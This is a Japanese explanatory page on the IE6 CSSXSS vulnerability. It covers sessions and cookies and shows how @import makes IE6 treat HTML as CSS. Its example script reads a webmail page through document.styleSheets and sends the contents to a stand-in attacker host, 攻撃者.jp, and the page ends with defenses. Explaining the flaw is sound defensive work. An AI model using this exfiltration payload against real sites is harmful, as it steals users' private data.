※ 文中のサイト名、URL 等は、すべて架空のものです。
CSSXSS (Cascading Style Sheets Cross Site Scripting) は、ユーザの個人情報を盗み見る、クラッキング(コンピュータへの攻撃)の一種です。
CSS (Cascading Style Sheets) は、ホームページなどのデザインを定義するためのデータです。HTML や XML と組み合わせて使います。詳しくは、ネット上の用語集などで検索してみてください。
Web ブラウザが、「読み込んだデータを CSS として扱うかどうか」は、本来、Web サーバが送ってくる Content-type:
ヘッダを見て決めるのが正道です。 (オフラインなら、拡張子とファイルタイプの関連付け)
しかしながら IE6 は、「データを眺めて、中身がなんとなく CSS っぽかったら、CSS ということにしてしまう」という動きをします。
多分、Content-type
とかに明るくない Web マスタへの親切心と思うのですが、この仕様が CSSXSS の原因です。
会員制のサイト (ID とパスワードでログインするような所) に普段から訪れているユーザは、本来ならログインしないと見れないような情報を、他人に盗み見られる可能性があります。たとえば、Web メールの内容とかです。
サイトの作り方によっては、パスワードを類推できる情報や、本人になりすますことができる情報などが漏れる可能性もあります。
もし、そのサイトに個人情報が登録してあったら、盗んだパスワードで、それらの情報にアクセスされてしまうかもしれません。
クレジットカード番号が登録してあったら、勝手に買い物をされてしまうかもしれません。
ローカルコンピュータ上のさまざまな情報が、攻撃者に漏れる可能性があります。
IE6 が、CSS と勘違いしてしまうデータを出力し、かつそのデータに個人情報が含まれているサイトです。ここに、普段から、「IDとパスワードを記憶する」といった設定で訪問していると、とても危険です。
また、↑のようなデータがローカルコンピュータに保存されている場合、そのファイルを呼び出そうとする HTML ファイルも、攻撃のトリガーとなります。
どちらも、「CSS と勘違いされたデータ」の内容が、攻撃者に知られます。
どんな場合に IE6 が勘違いするか、定かではありませんが、
{
という文字が含まれている
などが該当するようです。
なお、漏れるのは HTML の内容だけです。Cookie や、HTTP_REFERER の値が参照されることはありません。
かつ、HTMLの中の、CSSのように見える部分だけが、CSSとして整形された上で漏れます。生データがズバリ出てくる訳ではありません。
まず用語の説明です。
ID やパスワードが必要なサイトでも、最初に一回だけパスワードを入れれば、あとは、ログアウトしたり、ブラウザを閉じたりしない限り、再度パスワードを入れなくてもよい事が多いでしょう。
ユーザに見えない方法で、パスワード (または、そこから派生した文字列) が、ちゃんと引き継がれているからです。
パスワードを引き継ぎつつ遷移するページの集合を、「セッション」といいます。また、引継ぎに必要な情報を「セッション情報」と総称します。
Cookie (クッキー) は、Web ブラウザのメモリ領域のひとつです。ブラウザは、Web サイトに関する情報を、そこに記録しています。記録されたデータも、Cookie と呼びます。
ブラウザは、Web サイト一個一個に対し、専用の Cookie 領域(メモリ領域)を確保し、ある Web サイト用に記録した情報が、他のサイトに漏れないように配慮しています。
Web サイトは、ブラウザに対し、「このセッション情報であなたを識別しますから、覚えておいてください」というふうにデータを送ります。ブラウザは、それを Cookie に記憶します。
以後、ブラウザは、同じサイトにアクセスするとき、この Cookie をサイトに送信します。するとサイトは、以前訪問してくれた (パスワードを入力してくれた) ブラウザからのアクセスであると知ることができます。そして、「当該ユーザ向けの(個人情報を含む)データを送っても良い状態である」と認識します。
セッション情報は、他人には推測の難しい、ランダムな文字列を使用するのが普通です。 (さもなくば、それは CSSXSS 以前の問題です)
サイトから受け取った Cookie の再送出は、そのサイトに再度データを読みに行く都度、自動的に行われます。ブラウザを操作しているユーザが特に意識することはありません。
CSS を読みに行くときも同様です。つまり、一度 HTML を読むときにセッションを確立すれば、CSS を読みに行くときも、ブラウザは、そのユーザとして振舞えるのです。
ブラウザに CSS を読み込ませるには、次のような文を HTML 中に書きます。 (他にもあります)
<style type="text/css"> <!-- @import url("http://target.com/test.css") //--> </style>
するとブラウザは、target.com
というサイトから、test.css
という CSS を読もうとします。もちろんこのとき、target.com
向けの Cookie も送出します。
では、CSS を読むフリをして、他のデータを読もうとしたらどうなるでしょう。
<style type="text/css"> <!-- @import url("http://target.com/webmail.cgi") //--> </style>
webmail.cgi
は、ユーザのメールを表示する CGI とでも考えてください。するともちろん、サイトからは HTML が返ってきます。
@import
は、CSS を読む命令なので、ブラウザは、返ってきたデータが CSS かどうか、検証することになっています。
Firefox や Opera は、これを正しく判断します。Content-type
に基づいて決めているからです。
しかし IE6 は、前述のように、Content-type
を無視する場合があります。データに{
が入っているときなどです。Content-type: text/html
のデータでも、スタイルシートの構文に似た部分 (もちろん、本当のスタイル記述を含めて) を、スタイルとして扱ってしまうのです。
@import
などで読み込んだ CSS の内容は、JavaScript から参照することができます。IE6 は、HTML を CSS と勘違いしているので、HTML の内容が JavaScript で参照できることとなります。
<style type="text/css"> <!-- @import url("http://target.com/webmail.cgi") //--> </style> <script type="text/javascript"> <!-- var target = document.styleSheets(0).imports(0).cssText; /* ↑ 変数 target に、webmail.cgi が生成した HTML が代入される */ //--> </script>
もし、↑この HTML が、target.com
から送られてきたものなら、プライバシー上の問題はありません。target.com
の掌中で完結する話ですからね。
しかし、他のサイト、それも悪意のあるサイトがこれを送ってきたらどうでしょうか。そして、スクリプトが↓のようだったら…
<script type="text/javascript"> <!-- var target = document.styleSheets(0).imports(0).cssText; window.open( "http://攻撃者.jp/nusumu.cgi?" + escape(target) ); //--> </script>
Web メールの内容が、攻撃者の用意した別サーバに送られてしまいます。 (GET で送るには長すぎる、とかの例外処理は端折ってあります)
IFRAME や Ajax と違い、他サイトから読んだ CSS に JavaScript からアクセスすることは、別段禁止されていません。もともと「見栄えの定義」が目的なので、個人情報とかは含まれていないだろう、と考えられた結果でしょうか。
上記のような悪意ある HTML を、ローカルコンピュータ上でダブルクリックするとどうなるでしょうか。
この場合、ブラウザがローカルコンピュータゾーンで動くため、ローカルにあるファイルを、CSS として読み取られてしまいます。
つまり、
がすべて満たされると、とてもまずい訳です。
Firefox ( http://www.mozilla.org/ ) など、IE6 以外のブラウザをインストールし、それを既定で使用する Web ブラウザにします。
どうやら、IE7 ではこの問題が修正されるようです。Windows XP でしか使えない上、まだ開発途中の製品なので、大事なパソコンにインストールするのはちょっと勇気が必要です。
{
を、{に書き換えておけば OK!
なにぶん、自分の勉強 (自サイトのセキュリティ強化のため) を兼ねて作ったコンテンツにつき、至らない点も多いかと存じます。
本ページに関し、お気付きの点がございましたら、お手数ですが、ページ下部のアドレスまでお知らせ頂ければ幸いです。